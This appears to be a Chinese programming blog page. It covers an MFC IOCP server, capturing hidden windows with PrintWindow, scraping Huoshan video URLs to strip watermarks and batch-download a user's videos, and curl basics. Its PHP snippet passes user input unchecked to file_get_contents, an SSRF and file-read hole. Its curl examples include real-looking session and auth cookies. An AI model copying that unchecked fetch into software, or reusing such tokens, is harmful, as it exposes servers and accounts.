先把代码复制到我们的MFC工程里,在做修改,把判断代码做一些简化

void CIOCPDlg::OnOK() 
{
    // TODO: Add extra validation here
    CString     str,strLogText;
    if (m_iocpServer != NULL)
    {
        m_iocpServer->Shutdown();
        delete m_iocpServer;
    }
    m_iocpServer = new CIOCPServer;
    // 开启IPCP服务器
    if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))
    {
        CString IP; 
        char hostname[256]; 
        gethostname(hostname, sizeof(hostname));
        HOSTENT *host = gethostbyname(hostname);
        if (host != NULL)
            IP = inet_ntoa(*(IN_ADDR*)host->h_addr_list[0]);
        else
            IP = _T("127.0.0.1");
        CString web;
        web.Format(_T("%s:%d"), IP,nPort);
        m_wndStatusBar.SetPaneText(0, web);
        strLogText.Format( "开始监听端口: [%d]",  nPort );
        AfxMessageBox(web);
    }
    else
    {
        str.Format(_T("端口 %d 监听失败"), nPort);
        AfxMessageBox(str);
    }
}

 

 再看下这个m_iocpServer定义。在这之前 如果你清理过工程  你需要重新编译一下才可以看到

CIOCPServer *m_iocpServer = NULL;
 我们新建一个类先。然后替换掉CPP和头文件,另外编译,补全一下头文件。这里还需要创建一个CpuUsage类
再搞定以后编译出错,提示

 Deleting intermediate files and output files for project ‘IOCP测试 – Win32 Release’.

——————–Configuration: IOCP测试 – Win32 Release——————–
Compiling resources…
Compiling…
StdAfx.cpp
Compiling…
IOCP测试.cpp
IOCP测试Dlg.cpp
C:\Users\Administrator\Desktop\vc\MyProjects\IOCP测试\IOCP测试Dlg.cpp(183) : error C2065: ‘NotifyProc’ : undeclared identifier
C:\Users\Administrator\Desktop\vc\MyProjects\IOCP测试\IOCP测试Dlg.cpp(183) : error C2065: ‘nPort’ : undeclared identifier
C:\Users\Administrator\Desktop\vc\MyProjects\IOCP测试\IOCP测试Dlg.cpp(195) : error C2065: ‘m_wndStatusBar’ : undeclared identifier
C:\Users\Administrator\Desktop\vc\MyProjects\IOCP测试\IOCP测试Dlg.cpp(195) : error C2228: left of ‘.SetPaneText’ must have class/struct/union type
IOCPServer.cpp
C:\Users\Administrator\Desktop\vc\MyProjects\IOCP测试\IOCPServer.cpp(7) : fatal error C1083: Cannot open include file: ‘../MainFrm.h’: No such file or directory
Buffer.cpp
Generating Code…
执行 cl.exe 时出错.
IOCP测试.exe – 1 error(s), 0 warning(s)
这个时候我们继续修改。这里提示的都是一些没有定义的错误。很简单,我们继续做一些简化就可以了。
首先是第一个错误,我们看下这个Notify  这里是一个回调函数 我们定义一下

void CALLBACK CIOCPDlg::NotifyProc()
{
 
}

 

 暂时是这样,因为我们还需要添加一个类,这里先暂时简化一下 另外 在前面的判断简化出了一点问题  有一段是要去掉的 所以更新后是

void CIOCPDlg::OnOK() 
{
    // TODO: Add extra validation here
    CString     str,strLogText;
    if (m_iocpServer != NULL)
    {
        m_iocpServer->Shutdown();
        delete m_iocpServer;
    }
    m_iocpServer = new CIOCPServer;
    // 开启IPCP服务器
    if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))
    {
        CString IP; 
        char hostname[256]; 
        gethostname(hostname, sizeof(hostname));
        HOSTENT *host = gethostbyname(hostname);
        if (host != NULL)
            IP = inet_ntoa(*(IN_ADDR*)host->h_addr_list[0]);
        else
            IP = _T("127.0.0.1");
        strLogText.Format( "开始监听端口: [%d]",  nPort );
        AfxMessageBox(strLogText);
    }
    else
    {
        str.Format(_T("端口 %d 监听失败"), nPort);
        AfxMessageBox(str);
    }
}
 

 

紧接着就是修改IOCP  其实这一步做了花了很多时间,直接贴一下代码吧:

bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CIocp_testDlg* pFrame, int nMaxConnections, int nPort)
{
    m_pNotifyProc   = pNotifyProc;
    m_pFrame        =  pFrame;
    m_nMaxConnections = nMaxConnections;
    m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
 
 
    if (m_socListen == INVALID_SOCKET)

另外就是在iocp.h头文件里做一下修改

class  CIocp_testDlg;
 
class CIOCPServer
{
public:
    void DisconnectAll();
    CIOCPServer();
    virtual ~CIOCPServer();
 
    NOTIFYPROC                  m_pNotifyProc;
    CIocp_testDlg*                  m_pFrame;
    
    bool Initialize(NOTIFYPROC pNotifyProc, CIocp_testDlg* pFrame,  int nMaxConnections, int nPort);
 
    static unsigned __stdcall ListenThreadProc(LPVOID lpVoid);
    static unsigned __stdcall ThreadPoolFunc(LPVOID WorkContext);
 

然后就大致可以了,代码有点粗糙,完成一小部分 ,可以再优化一下的。最后就是上效果图了

VC6下使用PrintWindows截取隐藏窗口图像

Li, Json阅读(329)

PrintWindow这个函数只可以在XP以上使用,并且在VC6上使用稍有不同。具体请参照下面代码。下面代码基于VC6编译且通过。

#include "stdafx.h"
#include <stdio.h>
#include <afxwin.h>
BOOL  SaveBmp(HBITMAP     hBitmap,   CString     FileName)         
{         
    HDC     hDC;         
    //当前分辨率下每象素所占字节数         
    int     iBits;         
    //位图中每象素所占字节数         
    WORD     wBitCount;         
    //定义调色板大小,     位图中像素字节大小     ,位图文件大小     ,     写入文件字节数             
    DWORD     dwPaletteSize=0,   dwBmBitsSize=0,   dwDIBSize=0,   dwWritten=0;             
    //位图属性结构             
    BITMAP     Bitmap;                 
    //位图文件头结构         
    BITMAPFILEHEADER     bmfHdr;                 
    //位图信息头结构             
    BITMAPINFOHEADER     bi;                 
    //指向位图信息头结构                 
    LPBITMAPINFOHEADER     lpbi;                 
    //定义文件,分配内存句柄,调色板句柄             
    HANDLE     fh,   hDib,   hPal,hOldPal=NULL;             
  
    //计算位图文件每个像素所占字节数             
    hDC  = CreateDC("DISPLAY",   NULL,   NULL,   NULL);         
    iBits  = GetDeviceCaps(hDC,   BITSPIXEL)     *     GetDeviceCaps(hDC,   PLANES);             
    DeleteDC(hDC);             
    if(iBits <=  1)                                                   
        wBitCount = 1;             
    else  if(iBits <=  4)                               
        wBitCount  = 4;             
    else if(iBits <=  8)                               
        wBitCount  = 8;             
    else                                                                                                                               
        wBitCount  = 24;             
  
    GetObject(hBitmap,   sizeof(Bitmap),   (LPSTR)&Bitmap);         
    bi.biSize= sizeof(BITMAPINFOHEADER);         
    bi.biWidth = Bitmap.bmWidth;         
    bi.biHeight =  Bitmap.bmHeight;         
    bi.biPlanes =  1;         
    bi.biBitCount = wBitCount;         
    bi.biCompression= BI_RGB;         
    bi.biSizeImage=0;         
    bi.biXPelsPerMeter = 0;         
    bi.biYPelsPerMeter = 0;         
    bi.biClrImportant = 0;         
    bi.biClrUsed =  0;         
  
    dwBmBitsSize  = ((Bitmap.bmWidth *wBitCount+31) / 32)*4* Bitmap.bmHeight;         
  
    //为位图内容分配内存             
    hDib  = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));             
    lpbi  = (LPBITMAPINFOHEADER)GlobalLock(hDib);             
    *lpbi  = bi;             
  
    //     处理调色板                 
    hPal  = GetStockObject(DEFAULT_PALETTE);             
    if (hPal)             
    {             
        hDC  = ::GetDC(NULL);             
        hOldPal = ::SelectPalette(hDC,(HPALETTE)hPal, FALSE);             
        RealizePalette(hDC);             
    }         
  
    //     获取该调色板下新的像素值             
    GetDIBits(hDC,hBitmap, 0,(UINT)Bitmap.bmHeight,  
        (LPSTR)lpbi+ sizeof(BITMAPINFOHEADER)+dwPaletteSize,   
        (BITMAPINFO *)lpbi, DIB_RGB_COLORS);             
  
    //恢复调色板                 
    if (hOldPal)             
    {             
        ::SelectPalette(hDC,   (HPALETTE)hOldPal,   TRUE);             
        RealizePalette(hDC);             
        ::ReleaseDC(NULL,   hDC);             
    }             
  
    //创建位图文件                 
    fh  = CreateFile(FileName,   GENERIC_WRITE,0,   NULL,   CREATE_ALWAYS,           
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN,   NULL);             
  
    if (fh     ==  INVALID_HANDLE_VALUE)         return     FALSE;             
  
    //     设置位图文件头             
    bmfHdr.bfType  = 0x4D42;     //     "BM"             
    dwDIBSize  = sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize;                 
    bmfHdr.bfSize  = dwDIBSize;             
    bmfHdr.bfReserved1  = 0;             
    bmfHdr.bfReserved2  = 0;             
    bmfHdr.bfOffBits  = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;             
    //     写入位图文件头             
    WriteFile(fh,   (LPSTR)&bmfHdr,   sizeof(BITMAPFILEHEADER),   &dwWritten,   NULL);             
    //     写入位图文件其余内容             
    WriteFile(fh,   (LPSTR)lpbi,   dwDIBSize,   &dwWritten,   NULL);             
    //清除                 
    GlobalUnlock(hDib);             
    GlobalFree(hDib);             
    CloseHandle(fh);             
  
    return     TRUE;         
}  
HBITMAP GetWindowBitmap(HWND hWnd)
{
	typedef BOOL ( __stdcall *pPrintWindow )(HWND hWnd,HDC hdcBlt,UINT nFlags);
    RECT rect; 
	HMODULE h;
	h = LoadLibrary( "user32.dll" );
	pPrintWindow p;
	if( h )
	{
		p = ( pPrintWindow )::GetProcAddress( h, "PrintWindow" );
	}
    ::GetWindowRect(hWnd,&rect);
    HDC hScrDC=::GetDC(hWnd);                            //创建屏幕DC
    HDC hMemDC=CreateCompatibleDC(hScrDC);                //创建内存DC
    HBITMAP bitmap=::CreateCompatibleBitmap(hScrDC,rect.right-rect.left,rect.bottom-rect.top); //创建兼容位图
    HBITMAP OldBitmap=(HBITMAP)::SelectObject(hMemDC,bitmap);    //把位图选进内存DC
    p(hWnd,hMemDC,0);  
//	HDC d;
//	HWND hw;
//	hw = ::GetDesktopWindow();
//	d = ::GetWindowDC( hw );
//	::BitBlt( d, 0, 0, 1200, 1200, hMemDC, 0, 0, SRCCOPY );
    ::SelectObject(hMemDC,OldBitmap); 
    ::DeleteDC(hMemDC) ;            //删除内存DC
    ::ReleaseDC(NULL,hScrDC) ;    //释放屏幕DC
	SaveBmp(bitmap,"D:\\calc.jpg");
    return bitmap;
}

int main(int argc, char* argv[])
{
	//if(argc<2){printf("缺少参数。");return 0;}
	HWND calc;
	calc=::FindWindow(NULL,"计算器");
	GetWindowBitmap(calc);
	getchar();
	return 0;
}

 

一键解析火山视频用户所有视频地址

Li, Json阅读(1019)

今天实现的是火山小视频无水印的视频解析方法,并且会与大家分享如何批量获取火山用户上传的所有视频并且解析出无水印的视频地址出来。并且作者我编写了一款小工具供大家使用。下面是火山小视频的一些说明

火山小视频是一款15s原创生活小视频社区,由今日头条孵化,通过小视频帮助用户迅速获取内容,展示自我,获得粉丝,发现同好。

一般来说,因为给视频加水印之类处理过程较依赖服务器的处理能力。所有在一些视频量很大的情况下,都不会给视频加上真正的水印。而取而代之的一般都是通过JS之类得来进行控制。其中包括广告投放之类。下面请看一个火山小视频的分享【需要工具的请直接滑动至底部】。

https://www.huoshan.com/share/video/XXX/?tag=0&share_ht_uid=XXX&did=XXX&utm_medium=huoshan_android&tt_from=mobile_qq&iid=XXX&app=live_stream

关键部分我已经隐去。我们要分析的是源码,右键源代码查看,并且定位到这一段代码

<script>
    $(function(){
        __M.require('web:component/reflow_video/reflow_video').create({data:{"status":102,"create_time":1507085206,"video":{"url_list":["http:\/\/hotsoon.snssdk.com\/hotsoon\/item\/video\/_playback\/?video_id=c1a5a55e34dd43f8830769a960d78718\u0026line=0\u0026watermark=1\u0026app_id=1112","http:\/\/hotsoon.snssdk.com\/hotsoon\/item\/video\/_playback\/?video_id=c1a5a55e34dd43f8830769a960d78718\u0026line=1\u0026watermark=1\u0026app_id=1112"],"cover":{"url_list":["http:\/\/p3.pstatp.com\/large\/3d3700015003e47a367b.jpg","http:\/\/pb9.pstatp.com\/large\/3d3700015003e47a367b.jpg","http:\/\/pb3.pstatp.com\/large\/3d3700015003e47a367b.jpg"],"uri":"large\/3d3700015003e47a367b"},"uri":"c1a5a55e34dd43f8830769a960d78718","height":960,"width":540,"duration":15.0},"location":"\u6069\u65bd","media_type":4,"text":"","author":{"city":"\u6e58\u897f","fan_ticket_count":64100,"avatar_large":{"url_list":["http:\/\/p1.pstatp.com\/live\/1080x1080\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/1080x1080\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/1080x1080\/3b1f00072ab16d4b2c92.jpg"],"uri":"1080x1080\/3b1f00072ab16d4b2c92"},"short_id":147138771,"level":1,"gender":1,"app_id":1112,"id_str":"60565083574","avatar_medium":{"url_list":["http:\/\/p1.pstatp.com\/live\/720x720\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/720x720\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/720x720\/3b1f00072ab16d4b2c92.jpg"],"uri":"720x720\/3b1f00072ab16d4b2c92"},"signature":"\u539f\u521b\u641e\u7b11\u6b4c\u624b\uff1a\u6728\u4fa0\n\u6bcf\u592921:00\u201400:00\u76f4\u64ad\nV\ud83d\udc97\uff1agwmx666\uff08\u6ce8\u660e\u7c89\u4e1d\uff09\n\u641e\u7b11\u6211\u662f\u8ba4\u771f\u7684\uff01\u5531\u6b4c\u6211\u662f\u8ba4\u771f\u7684\uff01","avatar_thumb":{"url_list":["http:\/\/p1.pstatp.com\/live\/100x100\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/100x100\/3b1f00072ab16d4b2c92.jpg","http:\/\/pb3.pstatp.com\/live\/100x100\/3b1f00072ab16d4b2c92.jpg"],"uri":"100x100\/3b1f00072ab16d4b2c92"},"nickname":"\u6b4c\u738b\u6728\u4fa0\ud83d\udd25\u783410\u4e07","id":60565083574},"id":"6472880201427602701","stats":{"play_count":1460073,"share_count":3696,"ticket":2519,"digg_count":11373,"income":25190}}});
    });
</script>

这里的一段json里面就包含了真实的URL地址。也就是http:\/\/hotsoon.snssdk.com\/hotsoon\/item\/video\/_playback\/?video_id=c1a5a55e34dd43f8830769a960d78718\u0026line=0\u0026watermark=1\u0026app_id=1112这个啦。当然,这个从\u0026watermark后面的就不需要了。这时候真实地址就是http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=c1a5a55e34dd43f8830769a960d78718然后就可以快乐的下载啦。另外,如果我们需要批量解析一个用户的所有视频怎么办呢?其实流程也是非常简单的,逻辑上来分析其实就是获取源码,然后正则匹配网址,再用上面的方法来解析真实的URL地址。我们来看分享的网址一个例子。

https://www.huoshan.com/share/user/xxx/?share_ht_uid=xxx&did=xxx&utm_medium=huoshan_android&tt_from=mobile_qq&iid=xxx&app=live_stream

其实这个分享的网址可以缩短,精简过后是这样的https://www.huoshan.com/share/user/XXX。我们使用审查元素的NETWORK来监视一下请求,可以发现这样一个请求

火山小视频无水印

火山小视频无水印

他的返回是一段Json

{
    "status_code": 0,
    "data": {
        "items": [
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=9e4ad50afef547dd84381288326d0832&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=9e4ad50afef547dd84381288326d0832&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p1.pstatp.com/large/3d5f0011f93017828cda.jpg",
                            "http://pb3.pstatp.com/large/3d5f0011f93017828cda.jpg",
                            "http://pb3.pstatp.com/large/3d5f0011f93017828cda.jpg"
                        ],
                        "uri": "large/3d5f0011f93017828cda"
                    },
                    "uri": "9e4ad50afef547dd84381288326d0832",
                    "height": 960,
                    "width": 540,
                    "duration": 14.878
                },
                "id": "6473436884646235405"
            },
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=60839016314c42f08a830055c6cc2dbd&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=60839016314c42f08a830055c6cc2dbd&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p3.pstatp.com/large/3d53000f723fc9a1767b.jpg",
                            "http://pb9.pstatp.com/large/3d53000f723fc9a1767b.jpg",
                            "http://pb3.pstatp.com/large/3d53000f723fc9a1767b.jpg"
                        ],
                        "uri": "large/3d53000f723fc9a1767b"
                    },
                    "uri": "60839016314c42f08a830055c6cc2dbd",
                    "height": 960,
                    "width": 540,
                    "duration": 14.512
                },
                "id": "6473329244683373837"
            },
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=900439866a5346369df3a3d3347c2eca&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=900439866a5346369df3a3d3347c2eca&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p3.pstatp.com/large/3d53000e32ba9d10f4a1.jpg",
                            "http://pb9.pstatp.com/large/3d53000e32ba9d10f4a1.jpg",
                            "http://pb3.pstatp.com/large/3d53000e32ba9d10f4a1.jpg"
                        ],
                        "uri": "large/3d53000e32ba9d10f4a1"
                    },
                    "uri": "900439866a5346369df3a3d3347c2eca",
                    "height": 960,
                    "width": 540,
                    "duration": 12.772
                },
                "id": "6473326070073396493"
            },
            {
                "video": {
                    "url_list": [
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=d0ff8774756b4f8ea6e3ec7865b7ca9e&line=0&watermark=1&app_id=1112",
                        "http://hotsoon.snssdk.com/hotsoon/item/video/_playback/?video_id=d0ff8774756b4f8ea6e3ec7865b7ca9e&line=1&watermark=1&app_id=1112"
                    ],
                    "cover": {
                        "url_list": [
                            "http://p3.pstatp.com/large/3d36000ceb535fb8b56d.jpg",
                            "http://pb9.pstatp.com/large/3d36000ceb535fb8b56d.jpg",
                            "http://pb3.pstatp.com/large/3d36000ceb535fb8b56d.jpg"
                        ],
                        "uri": "large/3d36000ceb535fb8b56d"
                    },
                    "uri": "d0ff8774756b4f8ea6e3ec7865b7ca9e",
                    "height": 960,
                    "width": 540,
                    "duration": 14.97
                },
                "id": "6472941336277290253"
            }
        ]
    },
    "extra": {
        "has_more": true,
        "max_time": 1507099123
    }
}

我裁剪了一大段Json。然后我们分析一下这个请求https://www.huoshan.com/share/load_videos/?offset=0&count=21&user_id=xxx。其实这个offset就是开始的值。比如说要从0开始获取 则offset=0.然后这个count是取到少值。比如offset=0 count=20则代表着取从0个到第20个视频。但是在这里我们需要注意的是,第一次请求是这样的没错。但是第二次请求就稍稍有些变化了。我们尝试在视频栏上进行一下加载更多。这时候有了一个新的请求

批量解析火山小视频

批量解析火山小视频

相信大家都看到了 这里多了一个max_time的参数。这个max_time是个时间戳。这里不转换成北京时间。其实这里就需要注意一下了。因为你会发现,在变换了offset值时 并且没设定正确的max_time时候。返回的内容是不会变的。就好比你https://www.huoshan.com/share/load_videos/?offset=21&count=21&user_id=xxx&max_time=1507099123和https://www.huoshan.com/share/load_videos/?offset=51&count=21&user_id=xxx&max_time=1507099123的时候。返回是一样的。所以这里就涉及到如何取这个max_time的值。其实吧,这个max_time只要从上一次取到的json里就可以得到这个值了。还记得我们第一次请求时候用到的API嘛?这个时候是不带max_time的。但是json里包含了这个的值。所以大致流程是这样的

第一次请求->获取max_time来构造第二次请求->从第二次请求获取max_time来构造第三次请求

那么代码该如何编写呢?写一个伪代码给大家看一下

int count=400
for(int i=0;i<=count/20;i++)
{
       Cstirng aa.format("url......%s",i*20);
       
}

哈哈  有些丑。不继续写了。其实意思就是。我们取整,得到循环多少次。这里的count代表的是视频的总个数。这个可以从用户首页的那个json里得到。然后这里除以20是我一次只请求20条。然后这个cstrign的一个format是为了构造请求。然后我们获取返回的Json并且解析就可以了。

火山小视频批量解析工具

火山小视频批量解析工具

另外附上PHP写得单条URL解析源码

<?php
	function get_between($input, $start, $end){
	$substr = substr($input, strlen($start)+strpos($input, $start),
	(strlen($input) - strpos($input, $end))*(-1));
	return $substr;}
	if(isset($_GET['u'])){
		$res=file_get_contents($_GET['u']);
		$res=str_replace("\/","/",$res);
		//file_put_contents("huoshan.txt",$res);
		$realurl=get_between($res,"{\"url_list\":[\"","\u0026line=0");
		echo "地址为:".$realurl;
	}else
	{	echo "URL为空"; }
?>

代码写得有些丑,请见谅。

CURL简单使用例程

Li, Json阅读(901)

curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

官网下载地址:https://curl.haxx.se/download.html 这里有多平台支持下载。windows下也可以从这里下载[带证书]:https://winampplugins.co.uk/curl/ 亦可以使用其他版本类型的

下载后解压得到2个文件。一个crt一个exe。解压到C盘下curl文件夹。或者可以配置环境变量。这样的话就可以随时随地的调用。不需要切换到指定文件夹了

CURL环境变量

CURL环境变量

我们输入–help就可以看到很多参数了。也许会花上很多时间。但是现在。我们用最简单的方法来进行一次请求。我们要用到的是审查元素

例如我们百度搜索社会王。开启审查元素搜索。

然后此时即可复制完整的curl命令进行提交

curl “https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su?wd=shehuiwan^&json=1^&p=3^&sid=1436_21116_18559_22159^&req=2^&csor=9^&pwd=shehuiwa^&cb=jQuery1102004371613380728823_1506250840126^&_=1506250840137” -H “Accept-Encoding: gzip, deflate, br” -H “Accept-Language: zh-CN,zh;q=0.8” -H “User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36” -H “Accept: */*” -H “Referer: https://www.baidu.com/” -H “Cookie: BIDUPSID=C217A1735D932912AB88C278B7D33F97; PSTM=1505908881; BAIDUID=6957F525EA4F446660E898CD517F0D60:FG=1; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598; PSINO=6; H_PS_PSSID=1436_21116_18559_22159” -H “Connection: keep-alive” –compressed

简单来分析一下参数。

Curl后跟的是网址。-H参数则是head头。可以无限加。一段一个-H –compressed要求返回是压缩的形势。

上述是GET请求。我们来尝试一个POST请求。

以52破解回帖为例

curl “https://www.52pojie.cn/forum.php?mod=post^&action=reply^&fid=16^&tid=647011^&extra=page^%^3D1^&replysubmit=yes^&infloat=yes^&handlekey=fastpost^&inajax=1” -H “Cookie: htVD_2132_saltkey=nWwCIPre; htVD_2132_lastvisit=1506247218; _uab_collina=150625118517833586180194; htVD_2132_pc_size_c=0; _umdata=2BA477700510A7DFE5E15B937AF41A78856C4FC6BB7A0E19AD35ED5E160D9111F55F62A8C680D710CD43AD3E795C914C4D4FA1EE76C04CC28609516E2AAB33F4; htVD_2132_ulastactivity=4376ZXyx0m3I1uZdlwaNBncy0tCsDZJaYHh0gZ6RDYnMg0kaSjpy; htVD_2132_auth=d771GWpfzYc3vk4Zh^%^2FbIketZa^%^2FPp^%^2FQgX^%^2BMHoiqnOZ3xV1yxlY7d2iP^%^2FzJG2caGck8kYFvVqtBkSHym9z4O^%^2Bj2gAzHRQ; htVD_2132_lastcheckfeed=277491^%^7C1506250995; htVD_2132_lip=219.129.183.218^%^2C1504788655; htVD_2132_nofavfid=1; htVD_2132_ttask=277491^%^7C20170924; htVD_2132_visitedfid=16; htVD_2132_sid=ZKKa34; Hm_lvt_46d556462595ed05e05f009cdafff31a=1506251186; Hm_lpvt_46d556462595ed05e05f009cdafff31a=1506251208; htVD_2132_smile=1D1; htVD_2132_clearUserdata=forum; htVD_2132_connect_not_sync_t=1; htVD_2132_lastact=1506251042^%^09forum.php^%^09viewthread; htVD_2132_connect_is_bind=0; htVD_2132_st_p=277491^%^7C1506251042^%^7Cbc220be8d065bda3f21e60eb8872a6fc; htVD_2132_viewid=tid_647011” -H “Origin: https://www.52pojie.cn” -H “Accept-Encoding: gzip, deflate, br” -H “Accept-Language: zh-CN,zh;q=0.8” -H “Upgrade-Insecure-Requests: 1” -H “User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36” -H “Content-Type: application/x-www-form-urlencoded” -H “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8” -H “Cache-Control: max-age=0” -H “Referer: https://www.52pojie.cn/thread-647011-1-1.html” -H “Connection: keep-alive” –data “message=xda^%^CA^%^C7^%^B9^%^FA^%^CD^%^E2^%^C2^%^DB^%^CC^%^B3^%^C2^%^F0^&posttime=1506251003^&formhash=15e8ebc3^&usesig=1^&subject=++” –compressed

–data则是要POST的内容。其他都是一样的。另外附上一份参数解释表

-a/--append 上传文件时,附加到目标文件

  -A/--user-agent <string>  设置用户代理发送给服务器

  - anyauth   可以使用“任何”身份验证方法

  -b/--cookie <name=string/file> cookie字符串或文件读取位置

  - basic 使用HTTP基本验证

  -B/--use-ascii 使用ASCII /文本传输

  -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中

  -C/--continue-at <offset>  断点续转

  -d/--data <data>   HTTP POST方式传送数据

  --data-ascii <data>  以ascii的方式post数据

  --data-binary <data> 以二进制的方式post数据

  --negotiate     使用HTTP身份验证

  --digest        使用数字身份验证

  --disable-eprt  禁止使用EPRT或LPRT

  --disable-epsv  禁止使用EPSV

  -D/--dump-header <file> 把header信息写入到该文件中

  --egd-file <file> 为随机数据(SSL)设置EGD socket路径

  --tcp-nodelay   使用TCP_NODELAY选项

  -e/--referer 来源网址

  -E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)

  --cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)

  --key <key>     私钥文件名 (SSL)

  --key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)

  --pass  <pass>  私钥密码 (SSL)

  --engine <eng>  加密引擎使用 (SSL). "--engine list" for list

  --cacert <file> CA证书 (SSL)

  --capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)

  --ciphers <list>  SSL密码

  --compressed    要求返回是压缩的形势 (using deflate or gzip)

  --connect-timeout <seconds> 设置最大请求时间

  --create-dirs   建立本地目录的目录层次结构

  --crlf          上传是把LF转变成CRLF

  -f/--fail          连接失败时不显示http错误

  --ftp-create-dirs 如果远程目录不存在,创建远程目录

  --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用

  --ftp-pasv      使用 PASV/EPSV 代替端口

  --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址

  --ftp-ssl       尝试用 SSL/TLS 来进行ftp数据传输

  --ftp-ssl-reqd  要求用 SSL/TLS 来进行ftp数据传输

  -F/--form <name=content> 模拟http表单提交数据

  -form-string <name=string> 模拟http表单提交数据

  -g/--globoff 禁用网址序列和范围使用{}和[]

  -G/--get 以get的方式来发送数据

  -h/--help 帮助

  -H/--header <line>自定义头信息传递给服务器

  --ignore-content-length  忽略的HTTP头信息的长度

  -i/--include 输出时包括protocol头信息

  -I/--head  只显示文档信息

  从文件中读取-j/--junk-session-cookies忽略会话Cookie

  - 界面<interface>指定网络接口/地址使用

  - krb4 <级别>启用与指定的安全级别krb4

  -j/--junk-session-cookies 读取文件进忽略session cookie

  --interface <interface> 使用指定网络接口/地址

  --krb4 <level>  使用指定安全级别的krb4

  -k/--insecure 允许不使用证书到SSL站点

  -K/--config  指定的配置文件读取

  -l/--list-only 列出ftp目录下的文件名称

  --limit-rate <rate> 设置传输速度

  --local-port<NUM> 强制使用本地端口号

  -m/--max-time <seconds> 设置最大传输时间

  --max-redirs <num> 设置最大读取的目录数

  --max-filesize <bytes> 设置最大下载的文件总量

  -M/--manual  显示全手动

  -n/--netrc 从netrc文件中读取用户名和密码

  --netrc-optional 使用 .netrc 或者 URL来覆盖-n

  --ntlm          使用 HTTP NTLM 身份验证

  -N/--no-buffer 禁用缓冲输出

  -o/--output 把输出写到该文件中

  -O/--remote-name 把输出写到该文件中,保留远程文件的文件名

  -p/--proxytunnel   使用HTTP代理

  --proxy-anyauth 选择任一代理身份验证方法

  --proxy-basic   在代理上使用基本身份验证

  --proxy-digest  在代理上使用数字身份验证

  --proxy-ntlm    在代理上使用ntlm身份验证

  -P/--ftp-port <address> 使用端口地址,而不是使用PASV

  -Q/--quote <cmd>文件传输前,发送命令到服务器

  -r/--range <range>检索来自HTTP/1.1或FTP服务器字节范围

  --range-file 读取(SSL)的随机文件

  -R/--remote-time   在本地生成文件时,保留远程文件时间

  --retry <num>   传输出现问题时,重试的次数

  --retry-delay <seconds>  传输出现问题时,设置重试间隔时间

  --retry-max-time <seconds> 传输出现问题时,设置最大重试时间

  -s/--silent静音模式。不输出任何东西

  -S/--show-error   显示错误

  --socks4 <host[:port]> 用socks4代理给定主机和端口

  --socks5 <host[:port]> 用socks5代理给定主机和端口

  --stderr <file>
-t/--telnet-option <OPT=val> Telnet选项设置

  --trace <file>  对指定文件进行debug

  --trace-ascii <file> Like --跟踪但没有hex输出

  --trace-time    跟踪/详细输出时,添加时间戳

  -T/--upload-file <file> 上传文件

  --url <URL>     Spet URL to work with

  -u/--user <user[:password]>设置服务器的用户和密码

  -U/--proxy-user <user[:password]>设置代理用户名和密码

  -v/--verbose

  -V/--version 显示版本信息

  -w/--write-out [format]什么输出完成后

  -x/--proxy <host[:port]>在给定的端口上使用HTTP代理

  -X/--request <command>指定什么命令

  -y/--speed-time 放弃限速所要的时间。默认为30

  -Y/--speed-limit 停止传输速度的限制,速度时间'秒

  -z/--time-cond  传送时间设置

  -0/--http1.0  使用HTTP 1.0

  -1/--tlsv1  使用TLSv1(SSL)

  -2/--sslv2 使用SSLv2的(SSL)

  -3/--sslv3         使用的SSLv3(SSL)

  --3p-quote      like -Q for the source URL for 3rd party transfer

  --3p-url        使用url,进行第三方传送
